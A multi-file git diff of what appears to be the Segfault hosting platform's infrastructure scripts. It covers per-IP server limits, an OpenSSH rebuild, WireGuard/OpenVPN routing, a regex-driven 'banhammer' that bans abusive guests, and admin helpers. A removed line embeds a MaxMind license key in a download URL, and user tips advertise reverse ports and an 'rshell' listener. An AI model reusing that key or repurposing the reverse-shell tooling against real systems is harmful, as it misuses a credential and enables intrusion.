# NOTE: This is no longer used because /dev/shm is now mounted as tmpfs to make UML work
# [[ -n $SF_SHM_SIZE ]] && DOCKER_ARGS+=("--shm-size=$SF_SHM_SIZE")
[[ -n $SF_SYSBOX ]] && SYSBOX_ARGS+=("--runtime=sysbox-runc")
setup_fs_limit || ERREXIT 202 "Can't configure XFS limit"
}
# Publish user limits to self/limits, human readable.
@ -808,6 +802,7 @@ check_banned()
{
local blfn
[[ ${SF_USER_ALLOW_IP,,} == "any" ]] && return
[[ -e "${SF_BLACKLIST_DIR}/ip-${YOUR_IP}" ]] && blfn="${SF_BLACKLIST_DIR}/ip-${YOUR_IP}"
[[ -z $blfn ]] && [[ -e "${SF_BLACKLIST_DIR}/net-${YOUR_IP%\.*}" ]] && blfn="${SF_BLACKLIST_DIR}/net-${YOUR_IP%\.*}"
[[ -z $blfn ]] && return
@ -984,46 +979,49 @@ check_limit_server_by_ip()
fn="/dev/shm/ip-${YOUR_IP_HASH}.conf"
[[ -f "$fn" ]] && {
eval "$(grep ^ARR "$fn")"
[[ ! -f "$fn" ]] && {
tofile "ARR=($LID)" "$fn"
return
}
local n
local lid
n=0
for lid in "${ARR[@]}"; do
[[ -z $lid ]] && break
### Check if any of the shells are still alive
str="$(exec_errnull docker container inspect "lg-${lid}" -f '{{.State.Status}}')" || continue
eval "$(grep ^ARR "$fn")"
# Container can be in "Created" state (reason is unknown)
[[ "$str" != "running" ]] && {
# FIXME: A rare race condition (which in worst case terminates the shell)
# when a container was recently created and a user creates another server
# before the old container entered RUNNING state. Disregard this scenario.
exec_devnull docker stop "lg-${lid}"
continue
}
((n++))
arr_new+=("$lid")
done
local n
local lid
n=0
for lid in "${ARR[@]}"; do
[[ -z $lid ]] && break
### Check if any of the shells are still alive
str="$(exec_errnull docker container inspect "lg-${lid}" -f '{{.State.Status}}')" || continue
## Eyy, good idea to check if they are idle?
[[ "$n" -ge "${SF_LIMIT_SERVER_BY_IP}" ]] && {
print_to_many_servers
LOG_W "TO MANY SERVERS FOR ${YOUR_IP}"
ERREXIT 254
# Container can be in "Created" state (reason is unknown)
[[ "$str" != "running" ]] && {
# FIXME: A rare race condition (which in worst case terminates the shell)
# when a container was recently created and a user creates another server
# before the old container entered RUNNING state. Disregard this scenario.
exec_devnull docker stop "lg-${lid}"
continue
}
((n++))
arr_new+=("$lid")
done
[[ "$((n+1))" -ge "${SF_LIMIT_SERVER_BY_IP}" ]] && [[ -z $HUSHLOGIN ]] && [[ -n $IS_LOGIN ]] && IS_SHOW_LAST_SERVER="$((n+1))"
## Eyy, good idea to check if they are idle?
[[ "$n" -ge "${SF_LIMIT_SERVER_BY_IP}" ]] && {
print_to_many_servers
LOG_W "TO MANY SERVERS FOR ${YOUR_IP}"
ERREXIT 254
}
[[ "$n" -ge 1 ]] && {
# The 3rd and more servers from same IP get less CPU share
SF_USER_CPU_SHARE=2
SF_USER_OOM_SCORE=1000
SF_USER_NICE_SCORE=19
SF_USER_BLKIO_WEIGHT=10
# DEBUGF "${n}. server from ${YOUR_IP}. CPU_SHARE=${SF_USER_CPU_SHARE}, OOM=${SF_USER_OOM_SCORE}."
}
[[ "$((n+1))" -ge "${SF_LIMIT_SERVER_BY_IP}" ]] && [[ -z $HUSHLOGIN ]] && [[ -n $IS_LOGIN ]] && IS_SHOW_LAST_SERVER="$((n+1))"
[[ "$n" -ge 1 ]] && {
# The 2nd and further servers from the same IP get less CPU share
SF_USER_CPU_SHARE=2
SF_USER_OOM_SCORE=1000
SF_USER_NICE_SCORE=19
SF_USER_BLKIO_WEIGHT=10
# DEBUGF "${n}. server from ${YOUR_IP}. CPU_SHARE=${SF_USER_CPU_SHARE}, OOM=${SF_USER_OOM_SCORE}."
}
tofile "ARR=(${arr_new[*]} $LID)" "$fn"
@ -1175,6 +1173,8 @@ check_banned
mk_hostname
write_lg_limits
# Show system messages
sysmsg "/config/host/etc/loginmsg-all.sh"
@ -1390,7 +1390,7 @@ exec_devnull docker exec sf-master /ready-lg.sh "${LID}" "${C_IP}" "${LG_PID}" "
# Setup container (within container's namespace)
unset WGNAME_UP
[[ -s "${SF_USER_DB_DIR}/wg/name_up" ]] && WGNAME_UP="$(<"${SF_USER_DB_DIR}/wg/name_up")"
exec_devnull docker exec --user 0:0 --env SF_IS_NEW_SERVER="${SF_IS_NEW_SERVER}" --env WGNAME_UP="${WGNAME_UP}" "lg-${LID}" /sf/bin/sf-setup.sh || STOPEXIT "${LID}" 247 "Failed-#2 to set up guest container..."
exec_devnull timeout 5 docker exec --user 0:0 --env SF_IS_NEW_SERVER="${SF_IS_NEW_SERVER}" --env WGNAME_UP="${WGNAME_UP}" "lg-${LID}" /sf/bin/sf-setup.sh || STOPEXIT "${LID}" 247 "Failed-#2 to set up guest container..."
touch "/config/self-for-guest/lg-${LID}/THIS-DIRECTORY-IS-IN-MEMORY-ONLY"
tofile "${C_IP:?}" "/config/self-for-guest/lg-${LID}/c_ip"

View File

@ -126,7 +126,7 @@ MaxStartups 128:10:1024
#VersionAddendum none
# no default banner path
#Banner none
Banner /config/host/etc/ssh/banner
# override default of no subsystems
Subsystem sftp /usr/lib/ssh/sftp-server

View File

@ -11,11 +11,17 @@
DSTDIR="/src/fs-root/usr/sbin"
DSTBIN="${DSTDIR}/sshd"
set -e
SRCDIR="/tmp/openssh-9.2p1"
SRCDIR="/src/dev/openssh-${VER:?}-sf"
[[ ! -d "/src/dev" ]] && mkdir -p "/src/dev"
cd /src/dev
[[ ! -d "$SRCDIR" ]] && {
# Cloudflare to often returns 503 - "BLOCKED"
# wget -O- https://cloudflare.cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz | tar xfz -
wget -O- https://artfiles.org/openbsd/OpenSSH/portable/openssh-9.2p1.tar.gz | tar xfz -
wget "https://artfiles.org/openbsd/OpenSSH/portable/openssh-${VER}.tar.gz"
tar xfz "openssh-${VER}.tar.gz"
mv "openssh-${VER}" "openssh-${VER}-orig"
tar xfz "openssh-${VER}.tar.gz"
mv "openssh-${VER}" "${SRCDIR}"
cd "$SRCDIR"
@ -23,6 +29,7 @@ SRCDIR="/tmp/openssh-9.2p1"
}
cd "$SRCDIR"
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-libs=-lcap \
--without-zlib-version-check \
--disable-utmp \
--disable-wtmp \
--disable-utmpx \
@ -38,5 +45,5 @@ strip sshd
[[ ! -d "${DSTDIR}" ]] && mkdir -p "${DSTDIR}"
cp sshd "${DSTBIN}"
chmod 755 "${DSTBIN}"
rm -rf "${SRCDIR:?}"
# rm -rf "${SRCDIR:?}"

View File

@ -1,7 +1,7 @@
diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/channels.c openssh-9.2p1-sf/channels.c
--- openssh-9.2p1-orig/channels.c 2023-02-02 12:21:54
+++ openssh-9.2p1-sf/channels.c 2023-08-15 06:13:05
@@ -3639,7 +3639,7 @@
diff -x !*.[ch] -u openssh-9.6p1-orig/channels.c openssh-9.6p1-sf/channels.c
--- openssh-9.6p1-orig/channels.c 2023-12-18 14:59:50
+++ openssh-9.6p1-sf/channels.c 2024-01-20 17:50:15
@@ -3683,7 +3683,7 @@
ssh->chanctxt->IPv4or6 = af;
}
@ -10,7 +10,7 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/channels.c openssh-9.2p1-s
/*
* Determine whether or not a port forward listens to loopback, the
* specified address or wildcard. On the client, a specified bind
@@ -3677,6 +3677,7 @@
@@ -3721,6 +3721,7 @@
* address and it was overridden.
*/
if (*listen_addr != '\0' &&
@ -18,10 +18,10 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/channels.c openssh-9.2p1-s
strcmp(listen_addr, "0.0.0.0") != 0 &&
strcmp(listen_addr, "*") != 0) {
ssh_packet_send_debug(ssh,
diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/serverloop.c openssh-9.2p1-sf/serverloop.c
--- openssh-9.2p1-orig/serverloop.c 2023-02-02 12:21:54
+++ openssh-9.2p1-sf/serverloop.c 2023-08-15 06:18:17
@@ -102,6 +102,12 @@
diff -x !*.[ch] -u openssh-9.6p1-orig/serverloop.c openssh-9.6p1-sf/serverloop.c
--- openssh-9.6p1-orig/serverloop.c 2023-12-18 14:59:50
+++ openssh-9.6p1-sf/serverloop.c 2024-01-20 17:50:15
@@ -101,6 +101,12 @@
/* requested tunnel forwarding interface(s), shared with session.c */
char *tun_fwd_ifnames = NULL;
@ -34,7 +34,7 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/serverloop.c openssh-9.2p1
/* returns 1 if bind to specified port by specified user is permitted */
static int
bind_permitted(int port, uid_t uid)
@@ -391,8 +397,10 @@
@@ -388,8 +394,10 @@
/* Clean up sessions, utmp, etc. */
cleanup_exit(255);
}
@ -46,7 +46,7 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/serverloop.c openssh-9.2p1
if (conn_in_ready &&
process_input(ssh, connection_in) < 0)
break;
@@ -637,12 +645,14 @@
@@ -634,12 +642,14 @@
if (strcmp(ctype, "session") == 0) {
c = server_request_session(ssh);
@ -67,7 +67,7 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/serverloop.c openssh-9.2p1
}
if (c != NULL) {
debug_f("confirm %s", ctype);
@@ -802,8 +812,20 @@
@@ -799,8 +809,20 @@
ssh_packet_send_debug(ssh, "Server has disabled port forwarding.");
} else {
/* Start listening on the port */
@ -90,10 +90,10 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/serverloop.c openssh-9.2p1
}
if ((resp = sshbuf_new()) == NULL)
fatal_f("sshbuf_new");
diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/sshd.c openssh-9.2p1-sf/sshd.c
--- openssh-9.2p1-orig/sshd.c 2023-02-02 12:21:54
+++ openssh-9.2p1-sf/sshd.c 2023-08-15 06:13:05
@@ -536,8 +536,71 @@
diff -x !*.[ch] -u openssh-9.6p1-orig/sshd.c openssh-9.6p1-sf/sshd.c
--- openssh-9.6p1-orig/sshd.c 2023-12-18 14:59:50
+++ openssh-9.6p1-sf/sshd.c 2024-01-20 17:50:15
@@ -531,8 +531,71 @@
return 0;
}
}
@ -165,7 +165,7 @@ diff --color=auto -x !*.[ch] -u -r openssh-9.2p1-orig/sshd.c openssh-9.2p1-sf/ss
privsep_postauth(struct ssh *ssh, Authctxt *authctxt)
{
#ifdef DISABLE_FD_PASSING
@@ -576,8 +639,34 @@
@@ -571,8 +634,34 @@
reseed_prngs();

View File

@ -3,6 +3,7 @@
FROM ubuntu:22.04
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
binutils \
ca-certificates \
curl \
fcgiwrap \
@ -16,6 +17,7 @@ RUN apt-get update \
net-tools \
netcat \
nginx \
openvpn \
psmisc \
redis-tools \
tcpdump \

View File

@ -9,7 +9,10 @@ COLOR="always"
ICON_ERROR=""
SF_RUN_DIR="/dev/shm/sf/run"
source /sf/bin/funcs.sh
source /sf/bin/funcs_net.sh
source /sf/bin/funcs_redis.sh
# backward compat bug fix. If this is past >=2025 then this line can be removed.
[[ -n ${SF_NET_ONION} ]] && { SF_NET_ONION="10.111.0.0/16"; SF_OVPN_HACK=1; }
[[ ! -d "/config/db" ]] && ERREXIT 255 "Not found: /config/db"
[[ ! -d "/config/db/wg" ]] && mkdir -p "/config/db/wg"
@ -44,15 +47,36 @@ Sanitize()
[[ "${#REQUEST_URI}" -gt 512 ]] && BAIL "To long!" "ATTACK" ": REQUEST_URI(${#REQUEST_URI})=${REQUEST_URI:0:32}..."
}
InitColors() {
# COLOR is set (to 'always')
Y=$CDY
C=$CDC
R=$CDR
RR=$CR
G=$CDG
B=$CB
M=$CDM
YY=$CY
W=$CW
N=$CN
F=$CF
ICON_ERROR="💥 "
ICON_WARN="💥 "
}
GetFormVars()
{
local IFS
local LC_ALL=C #make [:print:] ASCII safe
local arr
IFS=\& read -r -a arr <<< "${REQUEST_BODY}"
unset IFS
local i
local str
local a
local b
while [[ $i -lt ${#arr[@]} ]]; do
str="${arr[$i]}"
((i++))
@ -61,6 +85,22 @@ GetFormVars()
key=${key,,}
val=${str#*=}
[[ ${key} == "config" ]] && {
R_CONFIG="${val//[^[:alnum:]-_+\/.]}"
[[ ${R_CONFIG:0:1} == "-" ]] && unset R_CONFIG
}
[[ ${key} == "pass"* ]] && R_PASS="${val//[^[:print:]]}"
[[ ${key} == "user"* ]] && R_USER="${val//[^[:print:]]}"
[[ ${key} == "keypass"* ]] && R_KEYPASS="${val//[^[:print:]]}"
[[ ${key} == "route" ]] && [[ ${#R_ROUTE_ARR[@]} -lt 10 ]] && {
local arr2
IFS="/" read -r -a arr2 <<<"$val"
a=${arr2[0]//[^0-9.]}
[[ -z $a ]] && continue
b=${arr2[1]//[^0-9]}
R_ROUTE_ARR+=("${a}/${b:-32}")
}
[[ ${key} == "nocolor" ]] && unset COLOR
[[ ${key} == "nocreat" ]] && IS_NOCREAT=1
# [[ ${key} == "verbose" ]] && IS_VERBOSE=1
@ -104,6 +144,9 @@ GetFormVars()
[[ ! "${WG_DEV}" =~ ^wg ]] && WG_DEV="wg${WG_DEV}"
}
done
[[ -n $COLOR ]] && InitColors
[[ -n "$R_CONFIG" ]] && [[ "${R_CONFIG:0:1}" != "/" ]] && BAIL "Path not absolute. Try ${C}curl ... -d config=\"\$(pwd)/${R_CONFIG}\"${N}"
}
# Load PID of WireGuard container
@ -413,24 +456,6 @@ xrm()
return $err
}
set_route()
{
# Add static routes for RPC
# nsenter -t "${PID}" -n ip route add "${SF_PC_IP}/32" dev eth0 # NOT NEEDED: RPC is on same network
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_TOR_IP}" via "${SF_NET_LG_ROUTER_IP}" 2>/dev/null
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_NET_ONION}" via "${SF_NET_LG_ROUTER_IP}" 2>/dev/null
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_DNS}" via "${SF_NET_LG_ROUTER_IP}" 2>/dev/null
[[ -n $SF_MULLVAD_ROUTE ]] && nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_MULLVAD_ROUTE}" via "${SF_NET_LG_ROUTER_IP}" 2>/dev/null
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route del default 2>/dev/null
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add default dev "${WG_DEV}"
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip -6 route add default dev "${WG_DEV}"
# Packets to 172.16.0.3 should not be forwarded back to 172.16.0.3
# Can not use 'sysctl net.ipv4.conf.wgExit.forwarding=1' because /proc is mounted ro
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n iptables -I FORWARD -i "${WG_DEV}" -j DROP
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip6tables -I FORWARD -i "${WG_DEV}" -j DROP
}
set_normal_route()
{
# Delete static routes
@ -442,19 +467,23 @@ set_normal_route()
# Should not exist anyway:
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route del default 2>/dev/null
# WG OUT specific
epip=$(nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route show | grep -F "via ${SF_NET_LG_ROUTER_IP} dev" | grep -v ^default)
# EndPoint
epip=$(nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route show | grep -F "via ${SF_NET_LG_ROUTER_IP} dev" | grep -v ^default | tail -n1)
epip="${epip%% *}"
epip=${epip//[^0-9.]}
[[ -n $epip ]] && nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route del "${epip}" via "${SF_NET_LG_ROUTER_IP}" 2>/dev/null
# Restore default routing
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add default via "${SF_NET_LG_ROUTER_IP}" || { echo "Oops. Could not set default route."; return; }
echo -e "${Y}WARNING${N}: All traffic exits via the DEFAULT ROUTE now."
# Zero the file
:>"${LID_PROMPT_FN}"
}
mk_normal_route() {
set_normal_route
echo -e "${Y}WARNING${N}: All traffic exits via the DEFAULT ROUTE now."
}
net_down()
{
local name
@ -472,7 +501,7 @@ net_down()
echo -e "${G}SUCCESS${N}"
echo -e "Use ${C}curl sf/net/up -d name=${name:-<NAME>}${N} to connect again."
set_normal_route
mk_normal_route
# Delete WG NAME
rm -f "${LID_WGNAME_FN:?}" "${USER_DB_WGNAME_UP_FN:?}"
@ -627,6 +656,7 @@ load_lg() {
LID="${arr[0]}"
# CID="${arr[1]}"
PID="${arr[2]}"
[[ -z "$LID" ]] && BAIL "LID is empty."
}
wg_net_init()
@ -674,8 +704,10 @@ BLPOP portd:response-${LID} 5" | redr) || return
# The PortD add's a /sf/run/self/reverse_forward.
echo -en "\
${M}Tip${N}: Type ${C}cat /config/self/reverse_*${N}
${G}👾 New reverse Port is ${Y}${ipport}${CN}"
${M}🌎 Tip${N}: Type ${C}cat /config/self/reverse_*${N} for details.
${M}🤭 Tip${N}: Type ${C}rshell${N} to start listening.
${M}🛜 Tip${N}: Type ${C}curl sf/port${N} to assign a new port.
${G}👾 Your reverse Port is ${Y}${ipport}${CN}"
# portd.sh automaticaly adds this to /config/self/reverse_*
exit
@ -731,6 +763,8 @@ cmd_wg_up()
echo "$R_WG_PRIVATE" >"/dev/shm/private.$$"
err=$(nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n wg set "$WG_DEV" private-key "/dev/shm/private.$$" peer "$R_OUT_PEER" "${args[@]}" endpoint "${R_OUT_ENDPOINT}" persistent-keepalive 25 allowed-ips 0.0.0.0/0,::/0 2>&1) || BAIL "Failed: wg set (${err:0:128})"
rm -f "/dev/shm/private.$$" "/dev/shm/psk.$$"
# WG IPv4: HOST_MTU - 60 (20 + 40)
# WG IPv6: HOST_MTU - 80 (40 + 40)
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip link set mtu $((SF_HOST_MTU - 80 - 80)) up dev "${WG_DEV}"
# Route to WG endpoint:
@ -772,7 +806,7 @@ cmd_wg_del()
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip link delete group 31337 2>/dev/null
# [[ -f "${USER_DB_WGCLIENT_FN}" ]] && rm -f "${USER_DB_WGCLIENT_FN}"
echo -e "${G}SUCCESS${N}"
set_normal_route
mk_normal_route
exit
}
@ -793,21 +827,7 @@ cmd_wg_show()
0<&- # Close STDIN
Sanitize
GetFormVars
[[ -n $COLOR ]] && {
# COLOR is set (to 'always')
Y=$CDY
C=$CDC
R=$CDR
RR=$CR
G=$CDG
B=$CB
M=$CDM
YY=$CY
W=$CW
N=$CN
F=$CF
ICON_ERROR="💥 "
}
[[ "${FCGI_CMD}" == "dmesg" ]] && {
@ -818,6 +838,19 @@ GetFormVars
[[ "${FCGI_CMD}" == "port" ]] && cmd_port
[[ "${FCGI_CMD}" == "set" ]] && {
# If it is >=2025 then you can remove this block (it's now served via curl sf/vpn/*)
[[ -n $SF_OVPN_HACK ]] && {
wg_net_init
[[ ${ARGS[1]} == 'ovpn' ]] && {
source "/sf/bin/funcs_ovpn.sh"
[[ ${ARGS[2]} == 'up' ]] && cmd_ovpn_up
[[ ${ARGS[2]} == 'show' ]] && cmd_ovpn_show
[[ ${ARGS[2]} == 'del' ]] && cmd_ovpn_del
[[ ${ARGS[2]} == 'down' ]] && cmd_ovpn_del
cmd_ovpn_help
exit
}
}
[[ -n $TOKEN_NAME ]] && cmd_token
BAIL "${M}Setting not found.${N}"
}
@ -841,6 +874,18 @@ wg_net_init
exit
}
[[ "${FCGI_CMD}" == "ovpn" ]] && {
source "/sf/bin/funcs_ovpn.sh"
[[ ${ARGS[1]} == 'up' ]] && cmd_ovpn_up
[[ ${ARGS[1]} == 'show' ]] && cmd_ovpn_show
[[ ${ARGS[1]} == 'del' ]] && cmd_ovpn_del
[[ ${ARGS[1]} == 'down' ]] && cmd_ovpn_del
# [[ ${ARGS[1]} == 'show' ]] && cmd_wg_show
cmd_ovpn_help
exit
}
# /net -> Show port assignment
# /net/init -> Assigned port to this LID or create new port.
# /net/up -> Create WireGuard interface

View File

@ -19,7 +19,9 @@ USER_UL_RATE="$5"
LID_PROMPT_FN="/dev/shm/sf/self-for-guest/lg-${LID}/prompt"
# Create 'empty' for ZSH's prompt to show WG EXIT
[[ ! -f "${LID_PROMPT_FN}" ]] && touch "${LID_PROMPT_FN}"
# [[ ! -f "${LID_PROMPT_FN}" ]] && touch "${LID_PROMPT_FN}"
# Overwrite existing. Will be re-created by sf-setup.sh if WG-NET is up still.
:>"${LID_PROMPT_FN}"
set -e
LG_MAC=$(docker inspect -f '{{ (index .NetworkSettings.Networks "sf-guest").MacAddress }}' "lg-${LID:?}")

View File

@ -37,7 +37,7 @@ SF_MULLVAD_IP=172.20.0.252
SF_MULLVAD_ROUTE=10.124.0.0/22
SF_NOVPN_IP=172.20.0.240
SF_NGINX_IP=172.20.1.80
SF_RPC_IP=10.11.0.2
SF_RPC_IP=100.126.224.2
SF_GSNC_IP=172.22.0.21
SF_SSHD_IP=172.22.0.22
SF_DOH_IP=172.23.0.2
@ -49,9 +49,9 @@ SF_NET_ONION=10.111.0.0/16
SF_NET_VPN=172.20.0.0/24
SF_NET_VPN_DNS_IP=172.20.0.53
SF_NET_LG=10.11.0.0/24
SF_NET_LG_ROUTER_IP=10.11.0.1
SF_NET_LG_ROUTER_IP_DUMMY=10.11.0.254
SF_NET_LG=100.126.224.0/22
SF_NET_LG_ROUTER_IP=100.126.224.1
SF_NET_LG_ROUTER_IP_DUMMY=100.126.227.254
SF_NET_VPN_ROUTER_IP=172.20.0.2

View File

@ -34,6 +34,8 @@ init_vars()
# export DEBIAN_FRONTEND=noninteractive # Must e interactive so that we get warning if kernel got updated (needs reboot)
[[ -z $SF_SEED ]] && ERREXIT 255 "SF_SEED= not set. Try \`export SF_SEED=\"\$(head -c 1024 /dev/urandom |base64| tr -dc '[:alpha:]' | head -c 32)\"\`"
[[ -z $MAXMIND_KEY ]] && ERREXIT 255 "MAXMIND_KEY= not set. Try ${CDC}export MAXMIND_KEY=skip${CN} to disable. See https://support.maxmind.com/hc/en-us/articles/4407111582235-Generate-a-License-Key"
[[ $MAXMIND_KEY == "skip" ]] && unset MAXMIND_KEY
}
@ -160,7 +162,7 @@ init_config_run()
mergedir "config/etc/redis"
mergedir "config/etc/resolv.conf"
[[ ! -f "${SF_DATADIR}/share/GeoLite2-City.mmdb" ]] && curl 'https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-City&license_key=zNACjsJrHnGPBxgI&suffix=tar.gz' | tar xfvz - --strip-components=1 --no-anchored -C "${SF_DATADIR}/share/" 'GeoLite2-City.mmdb'
[[ ! -f "${SF_DATADIR}/share/GeoLite2-City.mmdb" ]] && [[ -n "${MAXMIND_KEY}" ]] && curl 'https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-City&license_key='"${MAXMIND_KEY}"'&suffix=tar.gz' | tar xfvz - --strip-components=1 --no-anchored -C "${SF_DATADIR}/share/" 'GeoLite2-City.mmdb'
[[ ! -f "${SF_DATADIR}/share/tor-exit-nodes.txt" ]] && curl 'https://www.dan.me.uk/torlist/?exit' >"${SF_DATADIR}/share/tor-exit-nodes.txt"
# Setup /dev/shm/sf/run/log (in-memory /var/run...)
@ -286,6 +288,10 @@ journalctl --vacuum-time=10d
sed 's/rotate 4/rotate 2/' -i /etc/logrotate.conf
sed 's/rotate 4/rotate 2\n\tsize 64M\n\tminsize 128k/' -i /etc/logrotate.d/rsyslog
sed 's|.*-/var/log/syslog$|\$outchannel mysyslog,/var/log/syslog,1048576\n*.*;kern.none,auth,authpriv.none :omfile:$mysyslog|' -i /etc/rsyslog.d/50-default.conf
sed 's|.*-/var/log/kern.log$|\$outchannel mykern,/var/log/kern.log,1048576\n*.*;kern.none,auth,authpriv.none :omfile:$mykern|' -i /etc/rsyslog.d/50-default.conf
systemctl restart rsyslog.service
# NOTE: Only needed if source is mounted into vmbox (for testing)
[[ "$(stat -c %G /research/segfault 2>/dev/null)" == "vboxsf" ]] && usermod -a -G vboxsf "${SF_HOST_USER}"

View File

@ -311,7 +311,7 @@ ipset_add_domain()
local domain
domain="$1"
# Remove CNAME. Only output IP
for ip in $(dig +short "$domain" | grep -v '\.$'); do
for ip in $(dig +short "$domain" | grep -v '\.$' | grep -v '^;;'); do
ipset_add_ip "$ip" || ERR "DOMAIN='$domain', IP='$ip'"
done
}
@ -325,7 +325,6 @@ ipt_direct()
ipset_add_domain http.kali.org
# SF is direct (otherwise a user can inflate root-server-per-IP-limit)
ipset_add_domain teso.segfault.net
ipset_add_domain lsd.segfault.net
ipset_add_domain 8lgm.segfault.net
ipset_add_domain adm.segfault.net

50
sfbin/banhammer.sh Executable file
View File

@ -0,0 +1,50 @@
#! /usr/bin/env bash
source /sf/sfbin/funcs_admin.sh >/dev/null || exit
do_ban() {
echo "[$(date '+%F %H:%M:%S' -u)] Banning $2 [$1]. See /sf/config/db/user/${2}/syscop-ps.txt"
[[ -n $SF_DEBUG ]] && {
lgwall "$2" "$3"
return
}
lgban "$2" "$3"
}
do_stop() {
echo "[$(date '+%F %H:%M:%S' -u)] Stopping $2 [$1]. See /sf/config/db/user/${2}/syscop-ps.txt"
[[ -n $SF_DEBUG ]] && {
lgwall "$2" "$3"
return
}
lgstop "$2" "$3"
}
run() {
local interval
local rx_fn="/sf/config/db/private/${1}"
local msg_fn="/sf/config/db/private/${2}"
local regex
local reason="${rx_fn%.txt}"
local cmd="${3:-ban}"
reason="${reason##*rx_}"
while :; do
source "$rx_fn" || { sleep 60; continue; }
for lg in $(lgx "$regex" skiptoken); do
if [[ -f "$msg_fn" ]]; then
"do_${cmd}" "$reason" "$lg" "$(<"$msg_fn"))"
else
"do_${cmd}" "$reason" "$lg" "Your server was stopped. Contact a SysCop to discuss [ERROR: $msg_fn]."
fi
done
sleep "${interval:-360}"
done
}
run rx_dos.txt banmsg_dos.txt ban &
run rx_egress.txt banmsg_egress.txt ban &
run rx_exhaust.txt stop_exhaust.txt stop &
# CTRL-c here will also send a SIGINTR to all child processes (and kill them)
echo "Banhammer started. Press CTRL-c to stop."
read -r -d '' _ </dev/tty

View File

@ -5,7 +5,7 @@ CY="\e[1;33m" # yellow
CG="\e[1;32m" # green
CR="\e[1;31m" # red
CC="\e[1;36m" # cyan
# CM="\e[1;35m" # magenta
CM="\e[1;35m" # magenta
CW="\e[1;37m" # white
CB="\e[1;34m" # blue
CF="\e[2m" # faint

View File

@ -14,6 +14,7 @@ _self_for_guest_dir="${_sf_shmdir}/self-for-guest"
_sf_basedir="/sf"
_sf_dbdir="${_sf_basedir}/config/db"
unset _sf_isinit
_sf_region="$(hostname)"
_sf_deinit()
{
@ -114,7 +115,7 @@ _sfcg_forall()
skip_token="$1"
set -o noglob
IFS=$'\n' arr=($(docker ps --format "{{.Names}}" --filter 'name=^lg-'))
IFS=$'\n' arr=($(docker ps --format "{{.Names}}" --filter 'name=^lg-' 2>/dev/null))
for l in "${arr[@]}"; do
ts=2147483647
@ -139,7 +140,7 @@ _sfcg_psarr()
found=0
[[ -z $match ]] && found=1 # empty string => Show all
IFS= str=$(docker top "${lglid}" -e -o pid,bsdtime,rss,start_time,comm,cmd)
IFS= str=$(docker top "${lglid}" -e -o pid,bsdtime,rss,start_time,comm,cmd 2>/dev/null)
[[ -n $str ]] && [[ -n $match ]] && [[ "$str" =~ $match ]] && found=1
echo "$str"
@ -221,6 +222,7 @@ lgwall()
# This
local pid
local cid
local fn
[[ -z $2 ]] && { echo >&2 "lgwall LID [message]"; return; }
cid=$(docker inspect --format='{{.Id}}' "$1") || return
pid=$(<"/var/run/containerd/io.containerd.runtime.v2.task/moby/${cid}/init.pid") || return
@ -436,6 +438,8 @@ lgdf()
local dst
local IFS
local blocks
local fn
local info
_sf_init
@ -460,7 +464,12 @@ lgdf()
perctt=${_sfquota["${l}-inode-perctt"]}
pin=$(printf '% 3u.%02u\n' $((perctt / 100)) $((perctt % 100)))
str="${psz} "
echo "${blocks} ${str:0:5}% ${pin}% ${l}"
info="${l}"
fn="${_sf_dbdir}/user/${l}/hostname"
[[ -f "$fn" ]] && info+=" $(<"$fn")"
fn="${_sf_dbdir}/user/${l}/token"
[[ -f "$fn" ]] && info+=" [$(<"$fn")]"
echo "${blocks} ${str:0:5}% ${pin}% ${info}"
done
_sf_deinit
@ -499,27 +508,29 @@ lgrm()
lgban()
{
local fn
local hn
local ip
local msg
local lid
local lglid="${1}"
_sf_init
lid="${1}"
shift 1
fn="${_self_for_guest_dir}/${lid}/ip"
fn="${_self_for_guest_dir}/${lglid}/ip"
[[ -f "$fn" ]] && {
ip=$(<"$fn")
fn="${_self_for_guest_dir}/${lglid}/hostname"
[[ -f "${fn}" ]] && hn=$(<"${fn}")
fn="${_sf_dbdir}/banned/ip-${ip:0:18}"
[[ ! -e "$fn" ]] && {
[[ $# -gt 0 ]] && msg="$*\n"
echo -en "$msg" >"${fn}"
echo -en "# ${CY}${hn:-NAME} ${CDY}${_sf_region:-REGION} ${lglid} ${ip:0:18}${CN}\n$msg" >"${fn}"
}
echo "Banned: $ip"
}
lgstop "${lid}" "$@"
#_sf_lgrm "${lid}" # Dont lgrm here and give user chance to explain to re-instate his server.
lgstop "${lglid}" "$@"
#_sf_lgrm "${lglid}" # Dont lgrm here and give user chance to explain to re-instate his server.
_sf_deinit
}

View File

@ -65,3 +65,44 @@ tc_set()
tc filter add dev "${dev}" parent 11: handle 11 flow hash keys "${key}" divisor 1024
set +e
}
set_route_pre_up() {
